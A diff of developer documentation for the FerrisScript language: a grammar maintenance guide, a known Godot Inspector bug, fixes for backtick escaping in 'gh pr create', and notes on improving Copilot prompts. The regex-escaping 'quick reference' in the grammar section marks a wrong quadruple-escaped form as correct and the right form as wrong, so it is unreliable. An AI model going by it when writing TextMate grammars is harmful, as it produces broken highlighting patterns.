-- [ ] Review `crates/compiler/src/type_checker.rs` Type enum
-  - [ ] Compare against grammar types
-  - [ ] Note any missing types
-  
-- [ ] Test grammar on all example scripts
-  - [ ] `examples/*.ferris`
-  - [ ] `godot_test/scripts/*.ferris`
-  
-- [ ] Check for user-reported highlighting issues
-  - [ ] Search GitHub issues for "syntax highlighting"
-  - [ ] Search GitHub issues for "colors"
-  
-- [ ] Review grammar coverage
-  - [ ] Are all language features highlighted?
-  - [ ] Are there any false positives?
-  - [ ] Are scope names following conventions?
-  
-- [ ] Update grammar if discrepancies found
-  - [ ] Follow "How to Update" steps above
-  - [ ] Create audit summary issue
-  
-- [ ] Update this maintenance guide if process changed
-
----
-
-## Grammar Architecture
-
-### File Structure
-
-```json
-{
-  "$schema": "...",
-  "name": "FerrisScript",
-  "scopeName": "source.ferrisscript",
-  "patterns": [
-    // Top-level patterns (order matters!)
-    { "include": "#comments" },
-    { "include": "#keywords" },
-    { "include": "#types" },
-    // ...
-  ],
-  "repository": {
-    // Pattern definitions
-    "comments": { ... },
-    "keywords": { ... },
-    "types": { ... }
-  }
-}
-```
-
-### Pattern Matching Order
-
-**Important**: Patterns are matched in order. Put more specific patterns first:
-
-1. **Comments** - Match first to prevent keywords inside comments
-2. **Keywords** - Match before identifiers
-3. **Types** - Match before identifiers
-4. **Strings** - Match early to prevent escapes breaking other patterns
-5. **Numbers** - Specific format before generic identifiers
-6. **Functions** - Match function names before generic identifiers
-7. **Operators** - Match operators
-8. **Punctuation** - Match last (generic)
-
-### Scope Naming
-
-Follow TextMate conventions: `<category>.<subcategory>.<language>`
-
-**Common Categories**:
-
-- `comment` - Comments
-- `keyword` - Language keywords
-- `storage` - Storage types and modifiers
-- `string` - String literals
-- `constant` - Constants (numbers, booleans, null)
-- `variable` - Variables
-- `entity` - Types, classes, functions
-- `punctuation` - Delimiters, operators
-
-**Examples**:
-
-- `keyword.control.ferrisscript` - Control flow keywords
-- `entity.name.type.ferrisscript` - Type names
-- `constant.numeric.ferrisscript` - Number literals
-
----
-
-## Common Pitfalls
-
-### Regex Escaping
-
-TextMate uses regex. Escape special characters:
-
-❌ **Wrong**:
-
-```json
-"match": "\\b(i32|f32|bool)\\b"  // Missing escapes
-```
-
-✅ **Correct**:
-
-```json
-"match": "\\\\b(i32|f32|bool)\\\\b"  // Properly escaped
-```
-
-**Quick Reference**:
-
-- `\b` word boundary → `\\\\b`
-- `.` dot → `\\\\.`
-- `*` star → `\\\\*`
-- `+` plus → `\\\\+`
-- `?` question → `\\\\?`
-- `|` pipe → `\\\\|` (in character classes)
-- `(` paren → `\\\\(`
-
-### Order Matters
-
-Specific patterns must come before general ones:
-
-❌ **Wrong**:
-
-```json
-"patterns": [
-  { "include": "#identifiers" },  // Matches everything
-  { "include": "#keywords" }       // Never reached!
-]
-```
-
-✅ **Correct**:
-
-```json
-"patterns": [
-  { "include": "#keywords" },      // Specific first
-  { "include": "#identifiers" }    // General last
-]
-```
-
-### Greedy Matching
-
-Use non-greedy quantifiers for multi-line matches:
-
-❌ **Wrong** (matches too much):
-
-```json
-"begin": "/\\*",
-"end": "\\*/"  // Greedy - matches to last */ in file
-```
-
-✅ **Correct**:
-
-```json
-"begin": "/\\*",
-"end": "\\*/",
-"patterns": [
-  // Nested patterns here
-]
-```

+### Issue: Inspector properties don't update when switching from script with type errors
+
+**Symptoms:**
+
+- Attach a `.ferris` script with a type error (e.g., `@export let mut health: i32 = "Banana";`)
+- Godot console shows compilation error (E200: Type mismatch)
+- Switch to a different valid `.ferris` script
+- Inspector shows "Script path changed" message
+- **But Inspector properties don't update** - still shows old/empty properties
+
+**Example Error:**
+
+```
+ERROR: crates\godot_bind\src\lib.rs:719 - Failed to compile script 'res://scripts/inspector_minimal.ferris': Error[E200]: Type mismatch
+ERROR: Type mismatch in global variable 'health': expected i32, found String at line 1, column 1
+ERROR: 
+ERROR:  1 | @export let mut health: i32 = "Banana";
+ERROR:    | ^ Value type String cannot be coerced to i32
+```
+
+**Then switching scripts:**
+
+```
+Set script_path
+📝 Script path changed: res://scripts/inspector_minimal.ferris → res://scripts/other_script.ferris
+```
+
+**Cause:** When a script fails to compile, the property list isn't cleared. Switching to a new script doesn't trigger property list refresh if the old script left the node in an error state.
+
+**Solution (Workaround):**
+
+1. **Fix type errors before switching scripts**
+
+   ```ferris
+   // ✅ Correct
+   @export let mut health: i32 = 100;
+   ```
+
+2. **Or manually refresh Inspector:**
+   - Click on a different node
+   - Click back on the FerrisScriptNode
+   - Inspector should now show correct properties
+
+3. **Or reload the scene:**
+   - Close and reopen the scene
+   - Properties will refresh correctly
+
+**Status:** Known issue in v0.0.4. Will be fixed in v0.0.5 by:
+
+- Clearing property list on compilation failure
+- Calling `notify_property_list_changed()` even on error paths
+- Improving error state handling in `load_script()`
+
+**Workaround Impact:** Low - only affects development workflow when fixing type errors.

-# GitHub CLI Pull Request Creation - Backtick Escaping Issue
-
-**Issue Discovered**: October 7, 2025 (v0.0.3 Phase 4)  
-**Context**: Automated PR creation using `gh pr create` with markdown body containing backticks
-
----
-
-## Problem Summary
-
-When using GitHub CLI (`gh pr create`) to create pull requests with markdown-formatted bodies, backticks (`` ` ``) used for inline code formatting are not properly escaped in PowerShell/Bash command strings, resulting in corrupted PR descriptions.
-
-### Example Failure
-
-**Intended Markdown**:
-
-```markdown
-- Type completion: `i32`, `f32`, `bool`, `String`
-- Function: `print` with parameter hints
-```
-
-**Actual PR Output**:
-
-```markdown
-- Type completion: \i32\, \32\, \ool\, \String\
-- Function: \print\ with parameter hints
-```
-
-**Root Cause**: Backticks are escape characters in PowerShell and special characters in Bash. When embedded in double-quoted strings passed to `gh pr create --body "..."`, they are interpreted/corrupted by the shell before reaching the GitHub CLI.
-
----
-
-## Solutions
-
-### Solution 1: Use a Temporary File (Recommended)
-
-**Approach**: Write PR description to a file, then reference the file.
-
-**Implementation**:
-
-```powershell
-# PowerShell
-$prBody = @"
-## Phase 4 Complete: Code Completion Provider
-
-### Summary
-Implements context-aware code completion with `keyword`, `type`, and `function` completion.
-
-### Features
-- Keyword completion: `fn`, `let`, `mut`, `if`, `else`, `while`, `return`
-- Type completion: `i32`, `f32`, `bool`, `String`, `Vector2`, `Node`, `void`
-- Function completion: `print(message: String)` with parameter hints
-
-See `docs/PHASE_4_COMPLETION.md` for details.
-"@
-
-# Ensure temp directory exists (gitignored)
-if (-not (Test-Path "temp")) { New-Item -ItemType Directory -Path "temp" | Out-Null }
-
-# Write to temporary file in temp/ directory
-$prBody | Out-File -FilePath "temp\pr-body.txt" -Encoding UTF8
-
-# Create PR using file
-gh pr create --base develop --title "feat(vscode): Phase 4 Completion" --body-file "temp\pr-body.txt"
-
-# Note: No cleanup needed - temp/ directory is gitignored
-```
-
-**Bash Equivalent**:
-
-```bash
-# Bash
-# Ensure temp directory exists (gitignored)
-mkdir -p temp
-
-cat > temp/pr-body.txt << 'EOF'
-## Phase 4 Complete: Code Completion Provider
-
-### Summary
-Implements context-aware code completion with `keyword`, `type`, and `function` completion.
-
-### Features
-- Keyword completion: `fn`, `let`, `mut`, `if`, `else`, `while`, `return`
-- Type completion: `i32`, `f32`, `bool`, `String`, `Vector2`, `Node`, `void`
-- Function completion: `print(message: String)` with parameter hints
-
-See `docs/PHASE_4_COMPLETION.md` for details.
-EOF
-
-gh pr create --base develop --title "feat(vscode): Phase 4 Completion" --body-file temp/pr-body.txt
-
-# Note: No cleanup needed - temp/ directory is gitignored
-```
-
-**Advantages**:
-
-- ✅ No escaping needed - backticks work naturally
-- ✅ Supports multi-line content easily
-- ✅ Works identically in PowerShell and Bash
-- ✅ Can be version controlled (optional)
-
-**Disadvantages**:
-
-- ⚠️ Requires file I/O
-- ⚠️ Need to handle cleanup
-
----
-
-### Solution 2: Escape Backticks for Shell
-
-**Approach**: Properly escape backticks for the target shell.
-
-**PowerShell Implementation**:
-
-```powershell
-# PowerShell: Double-escape backticks
-$prBody = "## Summary`n`nFeatures:`n- Type: ``i32``, ``f32``"
-gh pr create --base develop --title "Title" --body $prBody
-```
-
-**Bash Implementation**:
-
-```bash
-# Bash: Use single quotes to prevent interpretation
-gh pr create --base develop --title "Title" --body 'Features:
-- Type: `i32`, `f32`
-- Function: `print`'
-```
-
-**Advantages**:
-
-- ✅ No temporary files needed
-
-**Disadvantages**:
-
-- ❌ Shell-specific escaping rules (not portable)
-- ❌ Complex multi-line strings
-- ❌ Error-prone for large PR bodies
-
----
-
-### Solution 3: Use GitHub API Directly
-
-**Approach**: Bypass `gh` CLI and use GitHub REST API with proper JSON encoding.
-
-**Implementation**:
-
-```powershell
-# PowerShell with Invoke-RestMethod
-$prBody = @"
-## Summary
-Features:
-- Type completion: `i32`, `f32`, `bool`
-- Function: `print` with hints
-"@
-
-$headers = @{
-    "Accept" = "application/vnd.github+json"
-    "Authorization" = "Bearer $env:GITHUB_TOKEN"
-    "X-GitHub-Api-Version" = "2022-11-28"
-}
-
-$body = @{
-    title = "feat(vscode): Phase 4 Completion"
-    body = $prBody
-    head = "feature/v0.0.3-phase-4-completion"
-    base = "develop"
-} | ConvertTo-Json
-
-Invoke-RestMethod -Uri "https://api.github.com/repos/dev-parkins/FerrisScript/pulls" `
-    -Method Post `
-    -Headers $headers `
-    -Body $body `
-    -ContentType "application/json"
-```
-
-**Advantages**:
-
-- ✅ JSON encoding handles all special characters
-- ✅ Full API control
-- ✅ Programmatic access to PR metadata
-
-**Disadvantages**:
-
-- ❌ More complex
-- ❌ Requires token management
-- ❌ Less readable than `gh` CLI
-
----
-
-## Recommended Workflow for Copilot
-
-### For Automated PR Creation
-
-Use **Solution 1 (Temporary File)** as the standard approach:
-
-```powershell
-# Create PR body in heredoc/here-string
-$prBody = @"
-## Summary
-
-Full markdown content here with `backticks`, **bold**, and [links](url).
-
-No escaping needed!
-"@
-
-# Ensure temp directory exists (gitignored)
-if (-not (Test-Path "temp")) { New-Item -ItemType Directory -Path "temp" | Out-Null }
-
-# Write to file in temp/ directory
-$prBody | Out-File -FilePath "temp\pr-body.txt" -Encoding UTF8
-
-# Create PR
-gh pr create --base develop `
-    --title "feat: Your Feature Title" `
-    --body-file "temp\pr-body.txt"
-
-# Note: No cleanup needed - temp/ directory is gitignored
-```
-
-### Template for Phase PRs
-
-Create reusable template in `docs/templates/PR_TEMPLATE_PHASE.md`:
-
-```markdown
-## Phase {N} Complete: {Feature Name}
-
-### Summary
-{Brief description}
-
-### What's Included
-
-#### Core Features
-- Feature 1: `code examples`
-- Feature 2: `more code`
-
-#### Documentation
-- `FILE1.md`: Description
-- `FILE2.md`: Description
-
-### Testing
-
-**Manual Testing Guide**: `docs/planning/vX.X.X/PHASE_{N}_MANUAL_TESTING.md`
-
-### Commits
-
-1. `{hash}` - {commit message}
-   - {details}
-
-### Checklist
-
-- [x] All tests passing
-- [x] Documentation updated
-
----
-
-**Related**: vX.X.X Phase {N}
-**Reviewer Notes**: {notes}
-```
-
-**Usage**:
-
-```powershell
-# Copy template, replace placeholders
-$template = Get-Content "docs/templates/PR_TEMPLATE_PHASE.md" -Raw
-$prBody = $template -replace "{N}", "4" -replace "{Feature Name}", "Code Completion"
-
-# Ensure temp directory exists
-if (-not (Test-Path "temp")) { New-Item -ItemType Directory -Path "temp" | Out-Null }
-
-# Create PR from processed template
-$prBody | Out-File -FilePath "temp\pr-body.txt" -Encoding UTF8
-gh pr create --base develop --title "Title" --body-file "temp\pr-body.txt"
-```
-
----
-
-## Lessons Learned
-
-1. **Always use `--body-file` for markdown PR descriptions** - avoids all shell escaping issues
-2. **Test PR creation command in dry-run mode first** - use `gh pr create --web` to preview
-3. **Use here-strings/heredocs for multi-line content** - more readable than escaped strings
-4. **Consider PR templates** - standardize format, reduce errors
-5. **For automation, prefer temporary files over inline strings** - simpler and more reliable
-
----
-
-## Future Improvements
-
-### Potential Enhancements for Copilot Automation
-
-1. **Create `scripts/create-pr.ps1` helper script**:
-
-   ```powershell
-   # Usage: .\scripts\create-pr.ps1 -Title "Title" -BodyFile "pr-body.md"
-   param(
-       [Parameter(Mandatory=$true)]
-       [string]$Title,
-       
-       [Parameter(Mandatory=$true)]
-       [string]$BodyFile,
-       
-       [string]$Base = "develop"
-   )
-   
-   gh pr create --base $Base --title $Title --body-file $BodyFile
-   ```
-
-2. **Add PR body validation**:
-   - Check for required sections (Summary, Testing, Checklist)
-   - Validate markdown syntax
-   - Verify file references exist
-
-3. **Generate PR body from commits**:
-   - Extract commit messages from feature branch
-   - Auto-generate commit list section
-   - Parse conventional commit prefixes
-
-4. **Integrate with todo list**:
-   - Export completed todos to PR checklist
-   - Auto-link documentation files mentioned in todos

-# Copilot Prompt Improvements - Phase 4 Learnings
-
-**Date**: October 7, 2025  
-**Context**: v0.0.3 Phase 4 (VS Code Completion) execution review  
-**Purpose**: Document prompt improvements for future automated workstreams
-
----
-
-## 📊 Phase 4 Execution Analysis
-
-### What Went Well ✅
-
-1. **Comprehensive Planning**: Created detailed 700+ line execution plan (PHASE_4_VS_CODE_COMPLETION.md) before implementation
-2. **Manual Testing Guide**: Proactively created PHASE_4_MANUAL_TESTING.md with 10 test scenarios
-3. **Incremental Development**: Built TypeScript incrementally, compiling after each file addition
-4. **Documentation Structure**: Proper separation of concerns (execution plan, testing guide, learnings)
-5. **LEARNINGS.md Updates**: Thorough documentation of technical discoveries and best practices
-6. **Code Organization**: Clean separation into modules (keywords, types, functions, provider)
-
-### What Needed Correction ⚠️
-
-1. **GitHub CLI Backtick Escaping**: PR body with backticks corrupted by shell interpretation
-   - **Impact**: PR description unreadable, required manual fix
-   - **Root Cause**: Used inline string instead of --body-file approach
-
-2. **Version Number Misalignment**: Initially set to 0.1.0 instead of 0.0.3
-   - **Impact**: Version didn't match completed work (v0.0.3 Phase 4)
-   - **Root Cause**: Didn't check current version context before setting
-
-3. **Missing .gitignore**: Didn't create `extensions/vscode/.gitignore`
-   - **Impact**: node_modules tracked by git, linted by markdown tools
-   - **Root Cause**: Didn't anticipate standard project file needs
-
-4. **Redundant activationEvents**: Included explicit activationEvents array
-   - **Impact**: VS Code warning, deprecated practice
-   - **Root Cause**: Unfamiliar with VS Code 1.75+ best practices
-
-5. **TypeScript Error Communication Gap**: VS Code showed "Cannot find module" error
-   - **Impact**: User concern about implementation quality
-   - **Root Cause**: Didn't explain VS Code caching issue proactively
-
-6. **Reactive Documentation**: Type sync, build automation, VSIX distribution documented after user request
-   - **Impact**: Additional user requests, multiple rounds of feedback
-   - **Root Cause**: Didn't anticipate maintenance/future needs proactively
-
----
-
-## 🎯 Prompt Improvement Recommendations
-
-### 1. GitHub CLI Best Practices
-
-**Add to Prompt Section: PR Creation**
-
-```markdown
-### Pull Request Creation with GitHub CLI
-
-**CRITICAL: Use --body-file for Markdown Content**
-
-When creating PRs with `gh pr create`, ALWAYS use `--body-file` for markdown-formatted descriptions:
-
-```powershell
-# ✅ CORRECT: Use temporary file in temp/ directory (gitignored)
-$prBody = @"
-PR description with `backticks`, **bold**, and code blocks
-"@
-if (-not (Test-Path "temp")) { New-Item -ItemType Directory -Path "temp" | Out-Null }
-$prBody | Out-File -FilePath "temp\pr-body.txt" -Encoding UTF8
-gh pr create --base develop --title "Title" --body-file "temp\pr-body.txt"
-# No cleanup needed - temp/ is gitignored
-```
-
-**NEVER** pass markdown inline to --body parameter:
-
-```powershell
-# ❌ WRONG: Backticks will be corrupted by shell
-gh pr create --base develop --title "Title" --body "Description with `code`"
-```
-
-**Rationale**: Backticks (`` ` ``) are escape characters in PowerShell and special in Bash. Inline strings corrupt markdown formatting.
-
-**Reference**: See `docs/archive/prompt/development/GITHUB_CLI_PR_CREATION.md` for detailed solutions.
-
-```
-
-### 2. Version Alignment Verification
-
-**Add to Prompt Section: Pre-Flight Checks**
-
-```markdown
-### Version Context Verification
-
-Before setting any version numbers in package.json, CHANGELOG.md, or documentation:
-
-1. **Check Current Version**: Read root `Cargo.toml` and project documentation
-2. **Identify Work Context**: Determine which version the current work belongs to
-   - Example: Implementing Phase 4 of v0.0.3 → version should be 0.0.3, not 0.1.0
-3. **Align Consistently**: Use same version across all files:
-   - `extensions/vscode/package.json` version field
-   - `extensions/vscode/CHANGELOG.md` version headers
-   - `extensions/vscode/README.md` installation paths
-   - Documentation references
-
-**Example Decision Process**:
-- Roadmap says "v0.0.3 Phase 4"
-- Root Cargo.toml has version = "0.0.2" (last release)
-- Current work is for v0.0.3 release
-- → Set extension version to 0.0.3 (upcoming release version)
-
-**Never Assume**: Always verify version context from roadmap/planning docs.
-```
-
-### 3. Standard Project Files Checklist
-
-**Add to Prompt Section: New Project Component**
-
-```markdown
-### Standard Project Files Checklist
-
-When adding a new project component (extension, library, tool), proactively create:
-
-- [ ] **README.md**: Installation, usage, features, contributing
-- [ ] **CHANGELOG.md**: Version history in Keep a Changelog format
-- [ ] **package.json** (if Node.js): With correct scripts, dependencies, metadata
-- [ ] **.gitignore**: Exclude build artifacts, dependencies, IDE files
-  - Node.js: `node_modules/`, `*.log`, build output directories
-  - Rust: `target/`, `Cargo.lock` (for libraries)
-  - Python: `__pycache__/`, `*.pyc`, `.venv/`
-  - General: `.DS_Store`, `Thumbs.db`, `.vscode/`, `.idea/`
-- [ ] **LICENSE**: Copy from root or reference root license
-- [ ] **.npmignore** (if publishable package): Define what gets published
-- [ ] **tsconfig.json** (if TypeScript): Compiler options, paths
-
-**VS Code Extension Specifics**:
-- [ ] Remove redundant `activationEvents` (auto-generated in 1.75+)
-- [ ] Set proper `engines.vscode` minimum version
-- [ ] Include `icon.png` (128x128 minimum)
-- [ ] Add `categories` and `keywords` for marketplace
-- [ ] Document VSIX build process in README
-
-**Rationale**: Standard files prevent common issues (dependency tracking, linting, build failures).
-```
-
-### 4. Proactive Maintenance Documentation
-
-**Add to Prompt Section: Feature Completion**
-
-```markdown
-### Proactive Maintenance & Future Planning
-
-When implementing features, proactively anticipate and document:
-
-#### Synchronization Needs
-
-If feature introduces data that duplicates existing data (types, commands, config):
-
-1. **Document Sync Requirements**: Create {FEATURE}_SYNC.md explaining:
-   - What needs to stay synchronized (e.g., VS Code types ↔ compiler types)
-   - Manual sync process (step-by-step)
-   - Future automation recommendations (scripts, generation, API)
-   - Timeline for automation (which versions)
-
-2. **Add to Roadmap**: Include sync automation in future version recommendations
-
-**Example**: VS Code completion types must sync with compiler type system
-→ Create `VSCODE_TYPE_SYNCHRONIZATION.md` in planning docs documenting manual process and proposing validation scripts
-
-#### Build Automation Needs
-
-If feature requires compilation/build steps (TypeScript, Rust, C++):
-
-1. **Document Local Workflow**: How developers build locally
-2. **Propose CI/CD Integration**: When/how to automate in CI pipeline
-3. **Add to Roadmap**: Include CI/CD automation in future versions
-
-**Example**: TypeScript compilation for VS Code extension
-→ Document in roadmap: v0.0.4 CI/CD for TypeScript, v0.1.0 automated VSIX builds
-
-#### Distribution Methods
-
-If feature is user-facing (extension, CLI tool, library):
-
-1. **Document All Installation Methods**:
-   - Development (from source)
-   - Package (VSIX, .deb, .rpm, npm package)
-   - Marketplace (VS Code Marketplace, crates.io, npm registry)
-2. **Include Build Instructions**: How to create distributable packages
-3. **Propose Release Automation**: When/how to automate releases
-
-**Example**: VS Code extension
-→ Document: source install + VSIX build steps + marketplace submission (future)
-
-#### Maintenance Requirements
-
-Document what needs regular updates:
-- Version bumps (where and how)
-- Dependency updates (frequency, breaking changes)
-- Compatibility (OS, editor versions, language versions)
-- Testing strategy (manual vs automated, regression tests)
-
-**Rationale**: Proactive documentation prevents future "how do we maintain this?" questions.

-### 5. VS Code Extension Best Practices
-
-**Add to Prompt Section: VS Code Development**
-
-```markdown
-### VS Code Extension Best Practices (2024+)
-
-#### Activation
-
-- **Don't use explicit `activationEvents`** (VS Code 1.75+):
-  ```json
-  // ❌ WRONG: Redundant in modern VS Code
-  "activationEvents": ["onLanguage:mylang"]
-  
-  // ✅ CORRECT: Auto-generated from contributes
-  "contributes": {
-    "languages": [{"id": "mylang", "extensions": [".mylang"]}]
-  }
-  ```
-
-#### Package Metadata
-
-- Set `engines.vscode` to minimum supported version (e.g., "^1.75.0")
-- Include `icon` field (128x128 PNG minimum)
-- Add relevant `categories` (Programming Languages, Snippets, etc.)
-- Add `keywords` for marketplace search
-
-#### File Structure
-
-```
-extension/
-├── src/                    # TypeScript source
-│   ├── extension.ts       # Entry point (activate/deactivate)

-#### TypeScript Setup
-
-```json
-// tsconfig.json
-{
-  "compilerOptions": {
-    "module": "commonjs",
-    "target": "ES2020",
-    "outDir": "out",

-    "watch": "tsc -watch -p ./",
-    "lint": "eslint src --ext ts"
-  }
-}
-```
-
-#### Building VSIX
-
-```bash
-npm install -g @vscode/vsce
-vsce package
-# Creates extension-version.vsix
-```

-
-### 6. Discrepancy Investigation Protocol
-
-**Add to Prompt Section: Error Handling**
-
-```markdown
-### Handling Discrepancies Between Tools
-
-When user reports errors that don't match your verification results:
-
-#### Compilation vs IDE Errors
-
-**Scenario**: VS Code shows TypeScript errors, but `npm run compile` succeeds.
-
-**Response Pattern**:
-
-1. **Acknowledge Discrepancy**: "I see VS Code is showing an error, but compilation succeeded. This suggests..."
-
-2. **Explain Common Causes**:
-   - VS Code TypeScript cache is stale (most common)
-   - VS Code using different tsconfig.json than CLI
-   - Extension not reloaded after changes
-
-3. **Provide Solutions**:
-   ```markdown
-   This is typically a VS Code caching issue. Solutions:
-   
-   1. **Reload VS Code Window**: `Ctrl+Shift+P` → "Developer: Reload Window"
-   2. **Restart TypeScript Server**: `Ctrl+Shift+P` → "TypeScript: Restart TS Server"
-   3. **Delete VS Code Cache**: Close VS Code, delete `.vscode` folder, reopen
-   
-   The code is correct (compilation passes), VS Code just needs to refresh its cache.
-   ```
-
-4. **Verify After User Action**: Ask user to try solutions and confirm if error clears
-
-**Rationale**: Cache issues are common but confusing. Proactive explanation prevents user concern.
-
-#### Test Failure vs Local Success
-
-When tests fail in CI but pass locally:
-
-- Check for environment differences (OS, Node/Rust version)
-- Check for non-deterministic tests (timing, randomness)
-- Check for missing files in git (test fixtures, config)
-
-#### Linting Discrepancies
-
-When linter shows different results:
-
-- Check which linter version (local vs CI)
-- Check which config file is active (.eslintrc location)
-- Check if linter cache needs clearing
-
-```
-
-### 7. Automation Decision Framework
-
-**Add to Prompt Section: When to Automate**
-
-```markdown
-### Deciding When to Automate vs Document
-
-Use this framework when implementing features with repetitive tasks:
-
-#### Automate Now If:
-- ✅ Task will be performed frequently (multiple times per week)
-- ✅ Task is error-prone when done manually (shell escaping, version bumps)
-- ✅ Automation is simple (bash script, npm script, git hook)
-- ✅ Automation has clear value (saves 5+ minutes per execution)
-
-**Examples**: 
-- Pre-commit hooks for formatting
-- npm scripts for build/test/lint
-- Git aliases for common operations
-
-#### Document for Later If:
-- ⏳ Task is infrequent (once per version, once per feature)
-- ⏳ Automation requires significant infrastructure (CI/CD setup, new tools)
-- ⏳ Requirements are still evolving (process not stable yet)
-- ⏳ Manual process is learning opportunity for maintainers
-
-**Examples**:
-- VSIX marketplace submission (until regular releases)
-- Type sync validation scripts (until type system stable)
-- CI/CD pipelines (until project structure stable)
-
-#### Document + Roadmap Automation If:
-- 📋 Task is important but automation is complex
-- 📋 Clear future need for automation (scaling, consistency)
-- 📋 Can be automated incrementally (validation → generation → integration)
-
-**Pattern**:
-1. **v0.0.X**: Document manual process thoroughly
-2. **v0.0.Y**: Add validation scripts (detect issues)
-3. **v0.1.0**: Add generation/automation (fix issues automatically)
-
-**Examples**:
-- Type synchronization (manual → validation → generation → LSP)
-- Build automation (local → CI check → release automation)
-- Documentation generation (manual → validation → auto-generation)
-
-**Rationale**: Premature automation creates maintenance burden. Document first, automate when value is proven.
-```

-
-## 📝 Implementation Plan
-
-### For Next Workstream (Phase 5)
-
-Apply these improvements:
-
-1. **PR Creation**: Use --body-file approach for gh CLI
-2. **Version Check**: Verify version context before setting any versions
-3. **Standard Files**: Create .gitignore proactively
-4. **Proactive Docs**: Document type sync, build automation, distribution upfront
-5. **VS Code Practices**: Follow current best practices (no activationEvents)
-6. **Cache Awareness**: Explain discrepancies proactively
-
-### For Prompt File Update
-
-Add these sections to main prompt file:
-
-- GitHub CLI best practices (section 1)
-- Version alignment verification (section 2)
-- Standard files checklist (section 3)
-- Proactive maintenance docs (section 4)
-- VS Code extension practices (section 5)
-- Discrepancy investigation (section 6)
-- Automation framework (section 7)
-
-### Validation
-
-After applying improvements, evaluate Phase 5 execution:
-
-- Were issues caught proactively?
-- Did documentation anticipate user questions?
-- Did PR creation work smoothly?
-- Were standard files created upfront?
-
-**Note**: These metrics measure **Phase 5 workstream execution quality**, not the prompt improvement work itself. The goal is to compare Phase 5 (with improvements applied) against the Phase 4 baseline to validate that the prompt improvements actually reduce rework and user feedback cycles.
-
----
-
-## 🎯 Success Metrics
-
-**Purpose**: These metrics compare workstream execution quality (commits, feedback, issues) to validate whether prompt improvements reduce rework. They measure **implementation execution**, not prompt documentation work.
-
-**Phase 4 Baseline** (before improvements):
-
-- 3 commits needed (initial + linting + feedback fixes)
-- 6 items required user feedback to address
-- 1 PR creation failure (backtick issue)
-- 8 items documented reactively (after user request)
-
-**Phase 5 Target** (after improvements applied):
-
-- 2 commits (initial + final validation)
-- ≤2 items requiring user feedback
-- 0 PR creation failures
-- ≥80% of maintenance needs documented proactively
-
-**Phase 6+ Goals**:
-
-- 1 commit (complete on first try)
-- 0 user corrections needed
-- 100% smooth PR creation
-- All maintenance needs anticipated and documented

-# Prompts Folder Consolidation Analysis
-
-**Date**: October 7, 2025  
-**Context**: Evaluating .github/prompts/ folder for fragmentation and Copilot usability  
-**Goal**: Simplify for Copilot while reducing maintenance burden
-
----
-
-## 🎯 Key Insight: What Copilot Actually Uses
-
-**Critical Understanding**: When you invoke `/prompt #file:workstream-execution.prompt.md`, Copilot loads **ONLY that file**.
-
-- ✅ Copilot reads: `workstream-execution.prompt.md`
-- ❌ Copilot does NOT read: `README.md`, `QUICK_REFERENCE.md`, `PR_TEMPLATE_SYSTEM.md`
-- ❌ Copilot does NOT auto-discover other files in the directory
-
-**The other files are for HUMANS reading on GitHub**, not for Copilot execution.
-
----
-
-## 📊 Current State Analysis
-
-### File 1: `workstream-execution.prompt.md` (1,046 lines)
-
-**Purpose**: The actual prompt Copilot executes  
-**Audience**: Copilot (primary), Humans (secondary - can read to understand)  
-**Status**: ✅ **KEEP** - This is the core artifact
-
-**Completeness Check**:
-
-- ✅ Pre-flight checks
-- ✅ Context gathering questions (5 categories, 25 questions)
-- ✅ Execution methodology
-- ✅ Quality checklist
-- ✅ LEARNINGS.md template
-- ✅ Deferral recommendations guidance
-- ✅ Common pitfalls
-- ⚠️ **MISSING**: Specific branch naming conventions (asks user to provide)
-- ⚠️ **MISSING**: Specific commit message format examples (asks user to provide)
-
----
-
-### File 2: `README.md` (280 lines)
-
-**Purpose**: Directory overview and documentation  
-**Audience**: Humans (GitHub repo visitors, contributors)  
-**Used by Copilot**: ❌ No (not loaded unless explicitly attached)
-
-**Content Analysis**:
-
-- Overview of prompts directory
-- When to use workstream prompts (✅ vs ❌ examples)
-- Usage examples (how to invoke)
-- Best practices (for users and agents)
-- Expected flow diagrams
-
-**Unique Value**:
-
-- ✅ When/when not to use (helps users decide)
-- ✅ Usage examples (onboarding for new contributors)
-- ❌ Best practices (duplicates main prompt's "Common Pitfalls")
-- ❌ Expected flow (duplicates main prompt's methodology)
-
-**Recommendation**:
-
-- **SIMPLIFY** to ~100 lines: Overview + when to use + usage examples only
-- Remove duplicated best practices (refer to main prompt)
-- Remove duplicated flow diagrams (refer to main prompt)
-
----
-
-### File 3: `QUICK_REFERENCE.md` (230 lines)
-
-**Purpose**: TL;DR for users unfamiliar with the system  
-**Audience**: Humans (quick start guide)  
-**Used by Copilot**: ❌ No (not loaded)
-
-**Content Analysis**:
-
-- Quick start (how to invoke) - duplicates README
-- What happens next (phase overview) - duplicates main prompt
-- Questions Copilot will ask - duplicates main prompt Section 2
-- Common issues & solutions - duplicates main prompt "Common Pitfalls"
-- Pro tips - some unique, some duplicate
-
-**Unique Value**:
-
-- ⚠️ Pro Tip: "Attach context files" - useful but should be in main prompt
-- ⚠️ Pro Tip: "Highlight specific text" - useful but should be in main prompt
-- ❌ Everything else duplicates main prompt or README
-
-**Recommendation**:
-
-- **REMOVE** - Fully redundant with main prompt
-- Extract 2-3 "Pro Tips" and add to main prompt if not already there
-- Users can read the main prompt directly (it's well-structured)
-
----
-
-### File 4: `PR_TEMPLATE_SYSTEM.md` (308 lines)
-
-**Purpose**: Reference documentation for PR creation process  
-**Audience**: Humans (developers creating PRs), Copilot (if explicitly invoked)  
-**Used by Copilot**: ⚠️ Only if user attaches it or it's added to main prompt
-
-**Content Analysis**:
-
-- Branch naming conventions: `bugfix/*`, `feature/*`, `docs/*`
-- How PR templates auto-apply (GitHub automation)
-- Examples for creating branches/PRs
-- Troubleshooting template issues
-- Quick commands reference
-
-**Unique Value**:
-
-- ✅ Specific branch naming conventions (missing from main prompt!)
-- ✅ PR template automation explanation
-- ⚠️ Examples and troubleshooting (useful for humans, not Copilot)
-
-**Recommendation**:
-
-- **EXTRACT** branch naming conventions → add to main prompt
-- **KEEP** as reference documentation (useful for humans)
-- **SIMPLIFY** to ~150 lines: Conventions + quick commands only
-- Remove detailed examples (they're in CONTRIBUTING.md)
-
----
-
-## 🎯 Recommended Changes
-
-### Option A: Aggressive Consolidation (Simplest for Copilot)
-
-**Changes**:
-
-1. ✅ Keep `workstream-execution.prompt.md` (1,046 lines)
-2. ➕ Add branch naming conventions to main prompt (~20 lines)
-3. ➕ Add commit message format to main prompt (~20 lines)
-4. 🗑️ Delete `QUICK_REFERENCE.md` (fully redundant)
-5. ✂️ Simplify `README.md` to ~100 lines (overview + usage only)
